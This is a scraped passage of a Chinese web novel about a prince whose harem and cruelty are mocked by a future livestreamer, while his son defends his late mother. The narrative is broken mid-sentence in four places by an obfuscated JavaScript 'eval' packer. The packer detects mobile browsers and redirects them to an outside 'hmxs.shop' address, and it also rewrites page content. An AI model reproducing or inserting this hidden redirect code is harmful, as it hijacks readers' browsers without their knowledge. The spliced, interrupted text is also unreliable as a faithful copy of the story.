这个世界的历史与异世之魂记忆中的历史走向相似而不同,转折点在战国,从一统天下的“赵”开始,两个世界便走上了完全不同的道路。除此之外,上至天文,下至地理,一切客观事物都没有什么差异。 两个世界给他的感觉宛如同一条河流中分出的两条支流,大概这就是所谓的“平行时空”?自从意识到这一点,薛挽月便时常翻阅记忆,对照平行时空的大事小事。 薛挽月简单计算一番,发现大夏所处的时间节点放在平行时空大约对应西晋时期。 ——那是数百年黑暗动乱的序幕,从中原战乱,胡人南侵开始。即便异世之魂不学无术,对“五胡乱华”亦印象深刻。 遥想当初,年仅七岁的薛挽月得知这个对比结果后,对远在草原的诸多异族部落不禁大为警惕,小小年纪便效仿记忆中的冠军侯霍去病立下“五胡未灭,无以家为”的誓言。 幸而这个誓言只有他一人知晓…… 在他第一次走出齐王府,直接迷失在都城的大街小巷中时,他还不信邪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954450|190720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 反复几次都得有人跟着才能找回齐王府后,薛挽月一下子蔫了。 幻想是小霍,现实是老李。 ——有些人哪怕第一次上草原,却仿佛自带gps导航;而有些人在自家门口两条街外,都能“三过家门而不入”。真要是踏入漠北,他怕不是得cos李广? 这个恐怖的可能立时掐灭了薛挽月成为战神的梦想。 薛挽月放空的功夫,天幕上主播被弹幕带歪,发散思维到“宫主”的生母是何等美人,才能生出一个颜值拉满的儿子。 【……可惜慈佑夫人身世不明,咱们只知道她是婢女出身,后来被齐王纳为侍妾,具体的家世籍贯却不得而知。】 【有些黑子就揪着这一点不放,指责宫主不孝。还拿前朝梁太后举例子,梁太后也是出身低微,但当上皇后之后就想方设法找到了自己年幼失散的弟弟妹妹,还找到了自己的舅父一家,赐他们荣华富贵。】 【而宫主呢?居然对娘家亲戚不闻不问,也不查一查,以至于他娘在史书上只记载是婢女出身,连个明确的籍贯都没有。】 天幕上的女声一下子高了几度。 【这些黑子也不想想,人家母子俩相依为命时,他们这些妖魔鬼怪还没出生呢!慈佑夫人是怎么想的,愿不愿意寻亲,他们是慈佑夫人肚子里的蛔虫,比人家亲儿子还清楚啊?】 【而且古代卖女儿卖妹妹的多了去了,这样的人难道也要找出来享清福吗?】 慈佑夫人?婢女出身? 又是两个关键词,可惜并没有什么用。 齐王四个儿子的母亲,有一个算一个,都是婢女出身。至于慈佑夫人,这显然是未来的夏明帝所起的封号,现在无人知晓。 回过神来的薛挽月默念“慈佑”二字,只觉甚合心意。 嗯,以后也可以用。 他还要给娘亲塑庙奉香火,就叫慈佑庙! 此念一起,薛挽月心情甚好。 哪怕是那莫名其妙的黑子言论也没能让他生气,只是无语了一瞬。 后世之人未免吃得太饱,也管得太宽了。 天幕下不少人都觉得黑子说话好没道理,尤其是一些身边有极品亲戚的人,只觉得离谱:“这不就是那什么……道德绑架?” “非也,非也。”路过的读书人见状,边掉书袋边解释道,“《诗》曰:亲亲以睦友,友贤不弃,不遗故旧,则民德归厚矣。” “君王以亲亲为德,则上行而下效矣。” “叽里呱啦说什么,听不懂。”另一个路过的屠户娘子把尖刀往腰上一别,“俺只知道像俺那种丧良心的舅舅,不把他削成八瓣都是好的!” 11.审美 大夏皇宫。 薛泽十分失望地“啊”了一声。 薛挽月大概知道他在失望什么。 薛泽之母刘姬尽管也是婢女出身,但籍贯明确,与身世不明的慈佑夫人对不上。薛泽那一点小小的希望就此泡汤。 薛澄这个点燃人家希望的罪魁祸首,此刻反而一脸不可思议。他悄声道:“……不会吧,这小子居然还真信他是夏明帝?” 他感觉从前低估了薛泽的自恋程度。 【说到出身低微,慈佑夫人不是个例。】 【夏幽帝薛璟的后宫可是出了名的独具特色。以薛璟登基为分水岭,后妃的家世背景截然不同。】 【他登基前的后妃尽皆出身低微,登基后的后妃却是个顶个的高贵。这背后是什么原因就不用说了吧?】 还能是什么原因?无非是看不起出身低微的女子,认为她们不配待在自己的后院,只是登基后才表露出这份倾向罢了…… 薛挽月默默想道。 他早就从齐王的言行中看出了端倪。 一个连生母都暗自鄙薄的人,选妃纳妾以出身论,实属正常。 上首的永隆帝微微眯起眼睛。倒是没想到老五是这种人。 后宫深处,魏夫人闭上眼睛,微微一叹。 这叹息声里有担忧,亦有失望…… 【要说齐王时期,薛璟的后院是齐王妃一家独大,其他女人不过是王府买来的婢女,论初始身份,甚至不如民女,还是靠着为薛璟生儿育女才晋升为侍妾。什么叫老婆才是真爱,小妾只是生孩子的工具人啊!】 【儿子是有了,薛璟却对庶子堪称漠视,唯独对最小的薛泽好一点——好像这些孩子是谁逼着他和小妾上床造出来的,我呸!!】 天幕上的女郎说到这里冷笑一声。 【个死渣男真会装!脱裤子享受过了,提起裤子翻脸不认人,说到底不就是拿小妾当泄·欲工具,自己爽了就完事吗?】 【典,太典了,经典“都怪老婆生不出”。责任甩给老婆,小妾睡也睡了,儿子生也生了,啥都让你享受了,还能立个人尽皆知的“爱妻”人设。真是给你赢麻了!】 一通疾风暴雨般的输出把天幕下的人都给喷懵了。 反应过来的讲究人纷纷目瞪口呆。 粗鄙!太粗鄙了! 后世都是怎么教导女儿的?怎么连这样的孟浪之言都能脱口而出? 有人当即把自家女儿赶回房去,不许她跟着学坏了。 而回到房间里的闺秀悄悄推开窗户,面红耳赤地继续偷看。 不讲究这些的平民百姓却是直拍大腿。 文心姑娘不说,他们还没反应过来,一说可不就是这么回事吗! “这齐王可真是……”有人脱口而出,“得了便宜还卖乖呀!” 达官贵人或许只拿小妾当个消遣,不觉得齐王的举止如何过分,甚至有几分天经地义。 普通人家,尤其是那些逼不得已送女儿为奴为婢的人家,却是看得揪心。 “妾又如何,妾也是好人家的女儿呀……” 齐王府后院,几名侍妾默默红了眼圈。 她们习惯了自轻自贱,不想还有人愿意为她们发声。 为奴为婢不是她们自愿,齐王纳妾更是不由她们选择。 现在的日子自然比从前强得多,但每每大王与王妃看他们的眼神,都让她们觉得自己不像是个活生生的人。 而现在有人说,她们是人,不是玩意儿。 仿佛被唾沫星子喷了一脸的薛璟感受到全场投来的异样目光,一股气血全往脸上冲。 这一通粗鄙的辱骂给他造成的伤害,可比兄弟的拳打脚踢重多了,薛璟生平从未受过如此奇耻大辱。 “嗬……嗬……” 他指着天幕上的女郎,想要回击却憋不出什么有力度的话。 反倒是一口气骂爽了的主播端起杯子“吨吨吨”几大口,缓过一口气,又继续“直抒胸臆”。经过一番宣泄,她的口吻冷静不少。 【是,古代情况特殊,你家真有皇位要继承。要争皇位就不能无子,王妃生不了就让别人生,这在古代完全天经地义嘛。】 【我以前也这么想。】 【后来看了史书才发现,所谓齐王妃多年无子,其实就是成亲三年没生孩子。啊这?三年你都等不得,装什么爱妻啊?】 冷静的女声又变得暴躁起来。 【都说不能按照现代的标准要求古人,毕竟史上著名的恩爱帝后都是有后妃的。但人家可不像薛璟这么潮流,千年前就上演了“人在小妾床上躺着,心在王妃那里”的经典剧情,这不比咱们看的《深宫怨》更精彩?】 【把为自己生儿育女的小妾踩到泥里,对自己的儿女不管不问,借此展现对王妃的爱重。搞不明白齐王妃怎么会吃这一套?】 【质疑齐王妃,理解齐王妃……算了,还是质疑齐王妃吧。这是被翔糊住了眼睛吗?】 【小妾冒着亏空身体甚至失去生命的风险生孩子,王妃顶着善妒无子的名声被人议论,得了好处的不还是那个狗男人吗?】 【回归正题,“宠妻灭妾”这个听起来很“甜宠”的标签真的“甜宠”吗?在我看来简直道尽了薛璟虚伪无情的本质。】 接连被“死渣男”和“狗男人”暴击的薛璟已经气到神志不清、胡言乱语,没发现旁边的齐王妃异常沉默,竟不曾关心他一句。 齐王妃李容垂着头,神情怔怔然。 天幕上的女郎言辞如刀,剖开了她内心阴暗的一角。 她这才发现自己从前对府上的侍妾不是真的全不在意,她对她们居然是嫉妒的。 嫉妒她们分走了齐王的一部分,嫉妒她们可以为齐王生儿育女…… 偏偏她们的身份又是如此卑贱,但凡踩她们一下,都有可能脏了自己的鞋底。 直至今日被点醒,她才发觉自己的卑劣。 她承受不了无子的压力,于是这些婢女成为被选中的容器。 当齐王以践踏她们的方式彰显她不可动摇的地位时,她何尝没有一丝的窃喜? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962237|190720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这份窃喜现在看来又是如此可悲。 从前尚在闺中的自己不是这样的,自何时起她变成了这般面目可憎之人?李容自嘲一笑,悲凉的目光落在身旁的男人身上。 当她洞悉这个男人的本质,突然对自己的未来一片迷茫。 【如果薛璟可以从始至终“宠妻灭妾”,固然对妾室是一种残忍,对之前的齐王妃、后来的李皇后,却不失为一段“佳话”。】 【说不定现在还会有很多人翔里找糖,磕他们的cp呢。】 【毕竟史同女什么都能磕。别说是正儿八经的帝后,小伙爱老头也不是不能磕。】 “……” 永隆帝的沉默震耳欲聋。 “小伙爱老头”这句话他不是第一次听了。上一次听到,还是在盘点他的发家史。 值得一提的是,这句话中的”老头”正是永隆帝薛烈,而“小伙”则是大夏的常胜将军应飞。 当天晚上永隆帝就做了一个被应飞表白的噩梦,第二天上朝再看这张脸,简直不忍直视。 恰逢大夏谋划伐齐,他连忙把人打发出京,这一走就是大半年过去了。 前些日子才收到应飞已经筹备万全、来年伐齐的奏疏,如今齐国上下人心动摇,也不知有没有机会不战而屈人之兵…… 永隆帝神情深沉,假装没听到那句调侃。 【遗憾的是,薛璟身上唯一能磕的点都被他自己亲手掐灭了。】 【前面也说了,夏幽帝的后宫独具特色。不同时期的后妃身世背景截然不同,只是其一;其二,便是审美上的趋同性。】 【有些皇帝的后宫百花齐放,甜妹、御姐、大家闺秀、将门虎女,只要是美人他都爱。】 【夏幽帝薛璟则不然,他的审美十年如一日,就好妖艳美人这一口。】 【说到这里,可能有不了解这段历史的人就要问了,齐王妃,或者说李皇后,是他爱的这一挂吗?】 【这不就问到点子上了吗?朋友。不不不,当然不是!】 【李皇后的长相按照史书记载应该是偏向温婉秀丽的清雅美人。在一水的妖艳美人中,简直是清水出芙蓉一般独一无二。】 【难道夏幽帝爱她爱到突破了审美?】 怎么可能! 齐王妃李容几乎就要失声反驳。 然而,后院中一张张妖娆动人的脸从她脑海中划过,隐隐验证了真相。 从前,她竟是一叶障目,见他待侍妾总是不假辞色,便自欺欺人地想:他原是不喜这般俗艳的。专纳这些与自己截然不同的女子,不过是为延续香火,不得已而为之。 而今想来,这样的念头同样源自齐王的暗示。后者给了她太多的错觉,她居然以为堂堂皇子会为了她而委屈自己…… 【答案当然是否定的。】 【李皇后压根不是薛璟喜欢的那一款。】 【由此看来,这位齐王殿下升级成皇帝之后突然来了个一百八十度大转弯,由“宠妻灭妾”到“宠妾灭妻”,似乎也就不是多么难以理解了!】 12.抽签 “从宠妻灭妾,到宠妾灭妻?” 不少人闻言摆出吃瓜的架势。 哪知女声只用一句“不是那么难以理解”便一笔带过。仿佛这是后世人人皆知的常识,多提一句都没必要。 吃瓜吃到一半,属实让人不上不下。 “不是,原配发妻说灭就灭,怎么就不难理解了?” “我要是干出这等事,非得被岳丈狠狠打上一顿板子,被大小舅子追杀不可!” 聚在一起听故事佐酒的纨绔子弟眼巴巴望天,有人急不可耐:“你倒是说说怎么个宠妾灭妻呀?莫非那妾室是天仙转世?” 这人话音落下,引来狐朋狗友一阵大笑。 另一个人笑嘻嘻地摇着扇子,一派风流模样:“何兄说笑了。你是什么人?那位又是什么人?人家可是天皇贵胄,未来的九五至尊。哪家岳父和大小舅子敢打人?” 又有人笑着指了指京城皇宫方向。 “若无天幕,那位自然是登临九五,无人敢犯。既然天幕现世,降下谶言,形势自然就不同了。”若非如此,他们也不敢如此公然议论天家贵胄,“据闻齐王妃是廷尉李公之女,真不知李公作何反应,莫不是也要来一出‘岳丈棒打女婿’的戏码?” “换做是我,怎么也得参他一本罢!” 众纨绔深以为然,露出看热闹不嫌事大的笑容。 廷尉府上,李逸山全程黑着脸听罢,对齐王这个“好女婿”的印象彻底颠覆。 而他更担心的却是身处宫中的爱女…… 自“宠妾灭妻”四字落下,李容便不敢置信地抬起头。 相伴多年,夫妻一场,纵然齐王实则不喜她“这一款”,又何至于、何至于如此…… 她一时失色,神情惨然。 一个不受夫君所喜的女子,莫说在普通人家都难以度日,何况深宫之中。纵观史书,遭到厌弃的皇后何曾有甚好下场? 一道道同情的目光不由落在这位黯然神伤的齐王妃身上。 尤其是四位公主。 对方此时的心境,大概也只有同为女子的她们能感同身受。 从前还以为这位虽无子嗣傍身、却稳稳拿捏住齐王的齐王妃多有手段,今日才知也是个被齐王玩弄于鼓掌的可怜人。 再看齐王薛璟时,四位公主面上便带出几分不屑与鄙薄。 天幕上的女郎再次“吨吨吨”喝水。 【都怪薛璟不干人事,喷得我嗓子都冒烟了。】 【学过初中历史的都知道,夏幽帝的好色无度是出了名的。他即位不久即广选天下美女,选秀期间更是不允许民间婚嫁。】 【别人的“后宫三千”是虚数,他是真的有实打实的后宫三千。】 【由于后宫太多美女,他临幸不过来,也记不住这么多名字,干脆给每个人发号牌编号,每天临幸谁就由抽签来决定。】 【三千根签还是太多了,所以他从1到100开始,每一百个号编成一组,随机三十选一。选中的一百个人又以五人一组,二十选一。经过两轮淘汰,最后一轮就是五选一了。】 【好家伙,有没有大型选秀综艺的即视感?不愧是提前千年引领潮流的梗王,难怪都说后世的选秀灵感就来自夏幽帝。】 天幕底部突然弹出一条条评论。 [海选三千→百强→二十强→五强→冠军?] [赛制严谨,好评!] [夏幽帝:好好看好好学,什么叫专业!] [《关于我穿成后宫编号1234这件事》] [娱乐圈教父,名不虚传!] [这是什么梗?] [某乎有人提问,谁配得上娱乐圈教父之称,有人即答夏幽帝,高赞第一!] 众人看得眼花缭乱,似懂非懂。 没等理清思绪,耳边又传来语调夸张的女声。 【朋友们,最搞的来了。】 【夏幽帝抽的是编号,不是人名。他也没那闲功夫翻看记录花名册。编号对应的人名,基本就是身边的太监说谁就是谁。】 【由此衍生出“宫妃贿赂太监顶号”、“被顶号的人事后发现告状”、“不想被宠幸的宫妃主动与人换号”以及“私下买号卖号”等种种离谱的事,也是一系列名梗来源。】 【这不比娱乐圈各种扯头花精彩多了?夏幽帝的后宫怎么不算大型娱乐圈呢?论颜值,甚至比现在的娱乐圈高出一大截。】 【幽帝精选,必是美女!】 【可惜他不好男色,不然三千俊男美女搁那一站,简直是高质量的娱乐圈配置。】 天幕上的女郎眉飞色舞。 天幕下的众人只觉茫然。 后宫三千、抽签制、选秀、娱乐圈……听得懂、听不懂的词混在一起,令他们大脑旋转。 旋转到最后,只有满心荒谬无言。 大概只有薛挽月全程听懂了。 他默默低头,生出捂脸的冲动。 后世之人多爱玩梗,他比在座之人都清楚。各种幽帝名台词表情包恐怕早就漫天飞舞。 有这么一个爹可真是…… 蓦然,一张温柔慈爱的面孔于记忆深处浮现而出,让他的心倏地沉重。那个在齐王府后院悄然凋零的女子,仿佛与那只有编号的三千后宫合为一体。 他抬起头来,神色默然。 而终于摆脱头脑旋转的众人亦不由沉默。沉默过后,但凡知廉耻之人,纷纷破口大骂。 “荒唐!荒唐!”李逸山目中寒光四射,“自古至今,未有如此荒淫无道之君!” 别的不说,“不许民间婚嫁”可不是轻描淡写的小事,而是涉及千家万户的大事。 他点燃油灯,奋笔疾书。 ……必须尽快让女儿归家,这样的女婿他要不起。但愿天子可以给他几分薄面罢。 “这……真是造孽哟!” 此时民间,一些人看着自家貌美乖巧的闺女,想到将来可能的祸事,又慌又怕。 “啧啧啧,三千后宫。”也有娶不上媳妇的闲汉红了眼,“这皇帝老儿忙得过来吗?” 皇宫中的晋王问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16972935|190720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了同样的一句话:“五弟可真是艳福不浅,忙得过来吗?” “怎么,你羡慕?” 上首飘来永隆帝状似平静的问话。 今日可以光明正大饮酒,晋王自是敞开了喝,一喝上头,顿时愈发言行无状:“父皇说笑了,儿臣哪有御女三千的本事?” 他醉醺醺地举杯,一饮而尽。 “五弟这是要效仿黄帝啊!” 殿内顿时一片寂静,人人屏息。 薛挽月都不禁微微歪头,朝这位王叔投去惊叹的目光。晋王说话还是太有水平了。 什么叫虾仁猪心啊! 只有秦王哈哈大笑起来。 “黄帝御女三千,乘龙升天,五弟若能效仿,那可真是千万古一帝了。” 薛璟脸上的血色霎时褪得干干净净,代入天幕描绘而升起的飘飘欲仙之感亦如泡沫般消散一空。 他深深看了晋王和秦王一眼。 而后仓皇起身,衣袖带倒桌上的酒器,酒水浸湿大片衣摆也顾不得,只跪地请罪。 尽管他不觉得自己哪里有罪。 身为九五之尊,天下任取任求,后宫三千又有何罪?倘若坐上至尊之位,却不能满足自身的欲求,这至尊之位不是白坐了? 可这时又该说什么呢?实话实说吗?他还不想死。挣扎辩解吗?天子不会听。 满腹心思最后只化作一句机械化的台词:“儿臣知道错了,听凭父皇发落。” 永隆帝冷眼注视着这个毫无悔罪态度的儿子:“你不是知道错了,只是怕死了。” 他觉得后世这句话太权威了,适用范围相当之广,至少眼下就很符合情境。 眼看薛璟身体猛地一个激灵,永隆帝更是大觉丢脸:“跪边上去,别碍朕的眼。” 空灵唯美的乐声就在此时响起。 众人循声望去,只见天幕之上不见那女郎的身影,唯有一段段影视片段快速切换。 水榭上,俊美少年轻抚瑶琴,一曲凤求凰,引得少女频频回望,双颊绯红,灿若桃花; 喜乐声响,他执子之手,共拜天地; 洞房内,盖头掀起,少女羞怯抬头,对上烛光里澄满笑意的另一双眼睛…… 而后是一位又一位妖娆艳丽的美人登场,她明面上一派主母风范,转过身神色黯然…… 画面迅速快进,配乐早已变得幽怨而凄美,仿佛笛音呜咽。 一袭龙袍的天子大步踏入殿中,与之并肩的却不再是昔日旧人。 他坐拥新欢,冷眼俯瞰脱簪待罪的发妻,眉宇间厌弃不加掩饰。 旁白中随之响起冰冷而严酷的男声。 “皇后李氏,失德彰闻。既无嗣以奉宗庙,又怀妒而损内治。” “其父李逸山,有负君恩,忤逆犯上。朕念及中宫,仅予流徙,未加诛戮。李氏不思悔过,反生怨望,暗蓄诽言,屡失内范。” “父既无忠,女复不贤。何以承宗庙之重,母仪天下?” “今废为庶人,徙居永巷。布告天下,咸使以闻。” 13.戏说 影像至此定格,而后化作灰白。 只剩那形容憔悴的女子趔趄起身的侧影。 李容看得失了神。 ……这就是……她的结局? 天幕下已是哗然一片,“嚯”声四起。 “这、这、这……这是废后?” “还不止嘞,听这圣旨的意思,皇后的爹也犯了事,已经先一步被处置了。” “俺听明白了,这是说岳丈不忠,他闺女也不贤惠,所以皇帝要废了这个媳妇……嗐,不稀奇。有啥样的爹就有啥样的儿女!” “咋就不稀奇?你这二愣子也不想想昏君的话能信吗?” 宫闱之事最是引人关注,吃瓜群众讨论得热火朝天。 普通百姓听不懂太复杂的词汇,“父既无忠,女复不贤”这一句还是能听明白的。 当即有人展开了联想:“俺们镇上那个王生不就是娶了粮商张家的大女儿?商贾都是黑恶心肠,前两年旱灾,张家高价卖粮,俺们谁不是在背后诅咒他断子绝孙?王生也是个能人,凭本事得了观澜书院录取,听闻张家这般行事,直把那张家女儿赶出家门,与张家断了往来。嘿,男子汉大丈夫,就该如此!” “你这话好没道理。”顿时有人反驳,“张娘子是个贤淑人,王生在外读书,都是她照顾公婆弟妹、抚育一双儿女,我看王生也未免太过绝情。”这说话的妇人想到张娘子投河自尽的下场,一时同情之心大起。 “张家黑心不是一两日,如何当初媒人上门时王生不曾断然拒绝?”说话的是个文质彬彬的读书人,“无非揣着明白装糊涂罢了。我辈读书人,不屑为之。” “什么男子汉大丈夫!早先享尽了张家的好处,到头来嫌妻子无用了,便将累赘踢开。依我看,此人与天幕上那位倒是有几分相似……” 民间议论纷纷之际,有识之士关注的是另一点。 “素闻李逸山刚直不阿,绝非奸佞国蠹之流,忤逆犯上之说,必有内情。”天下各国,智者无不洞若观火,“似幽帝这等无道昏君,岂能辨识忠奸?想必是以逢迎媚上之臣为忠,直言敢谏之臣反遭贬斥罢?” 换而言之,昏君口中的不忠,说不定反而是对大夏的忠。 丞相府,夏侯敬仰天长叹一声,隐隐已能看见一生心血付诸东流:“……先骂人父,再辱其女,未免欺人太甚。民间常言一日夫妻百日恩,幽帝之薄情如斯。发妻尚且难以保全,何况臣民百姓乎?” 唏嘘之际,但见天幕上的女郎正色言道: 【爱追剧的朋友们应该都看过这部今年初春上映的《夏宫美人传》,一部以宫斗为主线,美女云集的古装剧。其中夏幽帝是绝对男主,主要女角色有三位,分别是大家所熟知的李皇后、李夫人与李姬。】 【幽帝后宫,“三李”为尊。】 【其中李姬早逝,却在多年后母因子贵,慈佑夫人之名流传千年。】 【李夫人生前荣宠无限,冠绝后宫,死后被骂作“祸水”骂了千年。】 【一个有死后哀荣,一个有生前风光。】 【而原配李皇后什么也没有。】 【先是多年无子受尽非议,又被薛璟树立成“爱妻”的招牌。好不容易熬成了皇后,又因为薛璟瞎搞乱搞,甚至滥用刑罚,而李逸山身为廷尉直言上谏,拒受乱命,李皇后直接成了夹在两人中间的受气包。】 【别人当上皇后,是娘家受封,一门显赫,走上人生巅峰。而李皇后呢?】 【皇后之位还没坐热乎,身为廷尉的爹就被皇帝下狱论死。那叫一个天崩地裂。】 【从山巅一脚踩空不过如此!】 “???” 原本还以为是李逸山有问题的人顿时打出问号。 这位由伶人扮演的夏幽帝,张口就是“有负君恩、忤逆犯上”,不知道的人还当李逸山是勾结了北方的匈奴、串通了南方的诸侯呢! 合着是人家一心为公,阻止你乱来啊? 你这皇帝不要太离谱…… 永隆帝更是严肃了脸色。 后妃三千虽是荒唐,终究是后院之事。 而现在涉及国事,他就必须郑重以对了。 当然,还有一件事更重要。 “三李”之中的李姬…… 这个关键信息一出,众人的目光再度落在薛挽月身上。 至此,明帝身份确凿无疑。 薛挽月见状,亦坦然以对。 事已至此,畏畏缩缩不是他的作风。 他的镇定让众皇子公主刮目相看。 差点看走眼了…… 这小侄子不像省油的灯。 【要说《夏宫美人传》这部剧,虽然剧如其名,美女如云,让人大饱眼福,但剧情不是一般的抽象。】 【居然把李姬编成夏幽帝早逝的真爱白月光;而后来居上的李夫人则是“妖娆艳丽,一如卿卿”的白月光替身。】 【至于李皇后这个原配嘛,从始至终夏幽帝对她不曾有一丝真心,只是个用过即抛的挡箭牌而已。】 【朋友们,最离谱的来了。】 【剧中的宫主作为真爱白月光之子,被设定成幽帝最爱的好大儿,虽然明面上幽帝更宠爱的是四皇子薛泽,但那不过是好大儿的挡箭牌罢了。哪怕幽帝把家底败光大半,居然还给好大儿留下了秘密底牌,这份底牌也成了好大儿上位之后抗衡权臣、重整山河的重要力量……】 【就问一句,这么逆天的剧情是正常人能想出来的吗?也不知道编剧究竟喝了几斤假酒。我真是想破了脑袋,都不能理解她的思路……】 “??!” 薛挽月波澜不惊的神情瞬间破碎。 他只听到“真爱白月光”五个字就忍不住了,后面的剧情一概不曾入脑。 关于他本人的编排他不怎么在意,然而事涉亡母…… “……一派胡言!” 他轻喘一口气,从齿间挤出四个字。 震惊、愤怒、不加掩饰的反感……薛澄头一回在自家三弟脸上看到如此丰富的表情,大为惊奇。 他发誓自己甚至听到了薛挽月齿关之间摩擦发出的声响。 “对子谤母,是可忍,孰不可忍?” 自天幕降临以来一直秉持低调行事原则的薛挽月终于忍无可忍,拂袖而起。他尚未变声的嗓音或许稚嫩,却掷地有声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16981497|190720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 本就聚焦在他身上的目光立刻由暗转明,仿佛要将他点燃。 其中一道目光尤为特殊。 目光的主人是齐王薛璟。 他看向这个据说力挽狂澜的儿子,眼底并无骄傲,只有讥诮与不满。 呵,这小子原来不是木头人啊。 身为人子,坐视生父受辱,一言不发。轮到生母,这小子却知道对子谤母不能忍?这无疑是一种莫大的讽刺。 薛璟再傻也知道,这个儿子早已越过众皇子成为天子的心头宝。但凡此子开口维护他一二,他何至于沦落至此,人人可欺! 殊不知薛挽月自认没有落井下石已经是念及生养之恩了——尽管生他的是阿娘,养他的也是阿娘。当然,齐王给了他高贵的出身与物质保障。 这也是他能站在这里的重要原因。 “后世戏言,不可当真。” 涉及亡母清誉,平素寡言少语的薛挽月一反常态:“阿娘当年本是打算自赎出府,不想被父王看中才入了后院,她生前一年也见不到父王三回,领着王府的分例,还得额外做些针钱,手头才算宽裕几分。” 既没有娘家补贴,也没有分文嫁妆。要说单靠齐王府每个月的分例,日子并非过不下去。 可一旦有了孩子,为孩子打算,好看的衣裳要有吧,名贵的笔墨纸砚要有吧?花销可不是海了去。 但凡齐王平日有所补贴,也不至于如此。偏偏齐王以勤俭示人,又不待见庶出儿女,唯一能偶尔从他手上讨赏的只有一个薛泽。 他起了头,薛温、薛澄、薛泽三兄弟以及两个不同母的姐妹顿时露出感同身受之色。 看在殿内众人眼里,心中不由直呼“离谱”。 薛璟被儿子揭了个底朝天,脸皮顿时火辣辣的。 “够了,够了!”他有些恼羞成怒,“后院之事也拿出来说道,你堂堂男儿,岂可学妇人一般碎嘴!” 薛挽月迎上他的目光,不闪不避:“一是一,二是二。真爱之说,纯属无稽。我娘苦了二十年载,不曾享受丝毫殊遇,今日不澄清,总不能教她千年之后还被人诽谤,将她吃过的苦美化成‘真爱’该受的罪。” 更何况,将阿娘与这个间接害死她的男人绑定成真爱,也未免太恶心人。若是不澄清,他担心阿娘在地下都睡不安稳。 薛挽月吞下了更多想说的话。 阿娘难产而死的那个夜晚,他就守在门外,听了一整夜的痛呼,从起初的撕心裂肺,到后来的气若游丝。 最后,他只等来一尸两命的结局。 那个春日的清晨在他的记忆中无比寒冷。 从始至终,他没能见到齐王的身影。 后来是齐王妃下令,阿娘才得以安葬。 大概是嫌晦气吧,齐王不许后院设灵堂,更是不曾踏足那个“死过人”的院子半步。此后连薛挽月这个亲生儿子也只在前院撞见过他几回。 这些薛挽月没有说。 不是替齐王遮掩,只是不想在大庭广众下撕开伤口。 虚假的弱可以示,真正的痛只能忍着。 他垂下眼帘:“不虚美,不隐恶,先生是这样教的。” 14.和离 “不虚美,不隐恶?” 薛璟闻言更是恼火。 一句“你这是要当史官不成”差点脱口而出。 其言下之意岂非斥他为恶? 不孝子! 天幕上那个他还把这逆子当作“好大儿”一般偏心,这逆子真有那般听话孝顺就好了! 气昏了头的薛璟险些将影视剧与现实混为一谈。 “你!你懂什么——” 薛璟就要大骂不孝子,上首的永隆帝突然冷哼一声。 “要么好好跪着,要么滚出去。” 宛如大冬天一盆凉水泼在身上,怒火上头的薛璟一个激灵清醒过来,意识到自己现在的处境:继续得罪这个儿子,无疑只会让天子愈发厌弃他。 细细想来,他能全须全尾活到现在,没被废为庶人,不正是因为生了个好儿子? 永隆帝纵然想做些什么,也得顾忌打了老鼠,伤了玉瓶。 总不能让好圣孙变成庶人之子罢! 发觉逆子才是自己最大靠山的薛璟迅速偃旗息鼓。 他甚至强行挤出一抹笑容:“父皇教训的是,儿臣从前太过疏忽,后院诸事尽数交托于王妃之手,让我儿受委屈了。” 说罢他看向薛挽月,歉然一笑。大概是因为不甘心向儿子低头,他的演技明显不如之前,薛挽月能清晰看到他眼底的勉强之色。 薛挽月没理会齐王假模假样的示好,只是向永隆帝躬身一礼。 “谢皇祖父为孙儿说话。” 他语气虽一如既往平静,措辞却显出几分亲近,倒像是寻常人家的孙子与祖父撒娇似的。这无疑是永隆帝从未有过的体验。 永隆帝仿佛突然觉醒了迟来的祖孙之情,看着这个乖巧漂亮又孝顺的孙儿,哪哪都满意。 他笑着点头:“好孩子,好孩子,孝心可嘉。” 